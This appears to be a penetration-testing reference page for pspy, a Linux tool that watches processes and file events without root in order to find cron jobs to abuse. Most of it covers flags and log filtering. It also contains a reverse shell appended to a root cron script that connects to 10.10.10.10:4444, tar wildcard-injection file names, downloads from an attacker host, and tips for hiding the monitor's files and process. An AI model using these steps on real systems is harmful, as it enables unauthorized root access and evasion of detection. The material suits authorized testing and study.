Skip to content

pspy

pspy monitors processes and filesystem events on Linux systems without requiring root access. It uses inotify to detect file changes and procfs scanning to identify running commands, making it invaluable for discovering cron jobs, scheduled tasks, and privilege escalation vectors during post-exploitation.

Grab the latest release from the GitHub releases page:

# Download pspy64 (64-bit systems)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64

# Download pspy32 (32-bit systems)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
chmod +x pspy32

Requires Go 1.16+:

git clone https://github.com/DominicBreuker/pspy.git
cd pspy
go build -o pspy64 -ldflags="-s -w"

Alternative: Base64 Encoding (for transfer)

Section titled “Alternative: Base64 Encoding (for transfer)”
# On attacker machine
base64 -w 0 pspy64 > pspy64.b64

# On target machine
echo "[base64-content]" | base64 -d > pspy64
chmod +x pspy64
# Default monitoring (all options enabled)
./pspy64

# Monitor with procfs scanning only
./pspy64 -p

# Monitor with filesystem events only
./pspy64 -f
2026/04/17 14:23:45 CMD: UID=0    PID=1234  /usr/sbin/CRON -f
2026/04/17 14:23:46 FS:  RENAME name=/var/log/auth.log.1
2026/04/17 14:23:47 CMD: UID=1000  PID=5678  /bin/bash /home/user/backup.sh

pspy watches for filesystem events using inotify, which doesn’t require root:

ComponentDescription
inotify watchesMonitors /tmp, /etc, /home, /var, /usr by default
Event typesCREATE, WRITE, DELETE, CHMOD, RENAME, OPEN
No root requiredWorks as unprivileged user
Real-time detectionCatches file changes instantly

Continuously reads /proc to identify running processes:

# pspy scans /proc/[pid]/cmdline and /proc/[pid]/status
# Updates process list every interval (default: 100ms)
# Can catch short-lived processes if interval is low enough
1. Read all /proc/[pid]/cmdline files
2. Compare with previous snapshot
3. Report new processes with UID and PID
4. Track process exit via /proc disappearance
FlagDescriptionDefault
-pEnable procfs scanningtrue
-fEnable filesystem eventstrue
-iprocfs scan interval (ms)100
-dDirectories for procfs scanning/proc
-rDirectories to watch with inotify/tmp:/etc:/home:/var:/usr
-cColorize outputfalse
--debugEnable debug loggingfalse
# Low interval for catching short-lived processes
./pspy64 -i 50

# Color output
./pspy64 -c

# Custom watch directories
./pspy64 -r /var/www:/opt

# Debug mode
./pspy64 --debug

# Combined options
./pspy64 -p -f -c -i 75 -r /etc:/home
# Monitor for exactly 2 minutes (typical cron check interval)
./pspy64 -c | tee pspy.log

# Look for recurring patterns in timestamps
# Common patterns:
# - /usr/sbin/CRON -f (every minute if minutely cron)
# - /bin/sh -c (cron job execution)
# - /usr/bin/python /path/to/script.py (interpreted scripts)
ProcessMeaning
/usr/sbin/CRON -fcron daemon checking for jobs
/bin/sh -c [command]cron executing a command
/usr/sbin/anacronanacron running delayed jobs
run-parts /etc/cron.Xexecuting cron.daily/hourly/weekly
# Monitor output, note any scripts called repeatedly
./pspy64 -c | grep -E "(\.sh|\.py|\.pl)" 

# Check if detected scripts are world-writable
ls -la /path/to/detected/script.sh
# pspy output shows: /root/backup.sh called as root
# Check if writable:
ls -la /root/backup.sh
# If writable, add reverse shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /root/backup.sh
# If cron runs: /usr/bin/python check.py
# Check PATH traversal:
echo $PATH
# Look for writable dirs like /tmp, /var/tmp
ls -ld /tmp /var/tmp /usr/local/bin
# pspy shows: /usr/sbin/service apache2 restart
# Check config file permissions:
ls -la /etc/apache2/apache2.conf
# If writable, inject malicious config
# If cron runs: tar czf backup.tar.gz /var/www/*
# Create files in /var/www:
touch /var/www/--checkpoint=1
touch "/var/www/--checkpoint-action=exec=sh"
# tar expands wildcard and reads flags
EventTriggered by
CREATENew file created
WRITEFile content modified
DELETEFile removed
CHMODPermissions changed
RENAMEFile renamed
OPENFile opened
# Monitor web application directory for changes
./pspy64 -r /var/www:/var/log/apache2

# Watch cron directories
./pspy64 -r /etc/cron.d:/etc/cron.daily:/etc/cron.hourly

# Monitor user home directories
./pspy64 -r /home:/root
# Only show file creations
./pspy64 | grep "FS:.*CREATE"

# Only show process executions as root
./pspy64 | grep "UID=0.*CMD:"

# Exclude certain paths
./pspy64 | grep -v "/proc/"
# Only show root processes
./pspy64 | grep "UID=0"

# Find PHP execution
./pspy64 | grep php

# Monitor specific user
./pspy64 | grep "UID=33"  # www-data on Debian

# Multiple filters
./pspy64 | grep "UID=0" | grep -E "(\.sh|\.py)"
# Redirect output
./pspy64 > /tmp/pspy_output.txt 2>&1 &

# Monitor with tail
tail -f /tmp/pspy_output.txt

# Analyze after collection
grep "UID=0" /tmp/pspy_output.txt
# Add dates for pattern analysis
date >> pspy.log && ./pspy64 >> pspy.log 2>&1 &

# Find periodic tasks (compare timestamps)
grep "backup.sh" pspy.log | head -5

# Calculate interval between runs
# Use awk to compute differences
awk '{print $2}' pspy.log | uniq -c
# If wget available
wget -O /tmp/pspy64 https://your.server/pspy64
chmod +x /tmp/pspy64
./pspy64
curl -o /tmp/pspy64 https://your.server/pspy64
chmod +x /tmp/pspy64
# Attacker machine
cd /path/to/pspy && python3 -m http.server 8000

# Target machine
wget http://attacker.ip:8000/pspy64 -O /tmp/pspy64
scp pspy64 user@target:/tmp/
ssh user@target
chmod +x /tmp/pspy64
./pspy64
# Attacker: encode binary
base64 -w 0 pspy64 && echo

# Target: decode and execute
echo "[base64_string]" | base64 -d > /tmp/pspy64
chmod +x /tmp/pspy64
# Run pspy64 in background
./pspy64 -c > /tmp/pspy.log 2>&1 &

# Wait 5-10 minutes for cron executions
sleep 600

# Analyze results
grep "UID=0" /tmp/pspy.log | grep -E "\.sh|\.py" | sort | uniq

# Check if any found scripts are writable
# Edit vulnerable scripts to gain root shell
# Start monitoring
./pspy64 -i 50 -c | tee backup_monitor.log

# Look for:
# - tar/zip commands
# - rsync/cp operations
# - Database dumps (mysqldump, pg_dump)
# - Permission changes on archive files

# Typical output:
# 2026/04/17 02:15:00 CMD: UID=0  /usr/bin/tar czf /backup/data.tar.gz /home
# Monitor for service commands
./pspy64 | grep -E "service|systemctl|/etc/init.d"

# Watch for dependency chains:
# - Apache restart → kills old processes → spawns new ones
# - Configuration reload → file changes → process restart
# - Log rotation → file movement → daemon reload

# Check if service config is writable
ls -la /etc/apache2/apache2.conf /etc/nginx/nginx.conf
# Ensure both scanning methods enabled
./pspy64 -p -f

# Verify inotify watches are working
cat /proc/sys/fs/inotify/max_user_watches
# If low, may need to increase (requires root or high limit)

# Check filesystem permissions
ls -la /tmp /etc /home
# Increase scan frequency for faster detection
./pspy64 -i 50  # 50ms instead of default 100ms

# Enable debug mode to troubleshoot
./pspy64 --debug

# Check /proc accessibility
ls -la /proc/1/cmdline
# Decrease scan frequency
./pspy64 -i 200  # Less frequent scans

# Disable filesystem events if not needed
./pspy64 -p  # procfs scanning only

# Reduce watched directories
./pspy64 -r /etc:/home  # Fewer paths to watch
# Run in background with redirected output
nohup ./pspy64 > /tmp/.pspy.log 2>&1 &

# Use non-standard directory name
cp pspy64 /tmp/system_monitor
./system_monitor -c > /dev/null 2>&1 &

# Monitor PID file for process resurrection
(./pspy64 &> /tmp/.monitor.log &) && echo $! > /tmp/.pid
# Long-term monitoring (hours)
./pspy64 -c > /tmp/pspy_full.log 2>&1 &

# Let it run during business hours
# Analyze patterns afterward
grep "UID=0" /tmp/pspy_full.log | wc -l
# Find unique commands run as root
grep "UID=0.*CMD:" pspy.log | awk '{print $NF}' | sort | uniq

# Find repeated executions (potential cron)
grep "UID=0.*CMD:" pspy.log | awk '{print $NF}' | sort | uniq -c | sort -rn

# Extract just the command paths
grep "CMD:" pspy.log | sed 's/.*CMD: //' | awk '{print $NF}' | sort | uniq
ToolPurpose
LinPEASAutomated privilege escalation enumeration (includes cron/suid/cap detection)
linux-exploit-suggesterMatches kernel/software versions to known exploits
Linux Smart Enumeration (LSE)Manual enumeration focused on privilege escalation paths
ps auxwwTraditional process listing (root-privileged view limited)
watchMonitor command output with periodic execution
auditdKernel-level audit logging (requires root access)
systemd-analyzeAnalyze systemd startup time and unit dependencies
pspy64     → Unprivileged, real-time, filesystem + process events
LinPEAS    → Comprehensive enumeration, suggests exploits
auditd     → Kernel audit (root required), persistent logging
ps auxww   → Static snapshot, no real-time monitoring
watch      → Periodic command execution, no background monitoring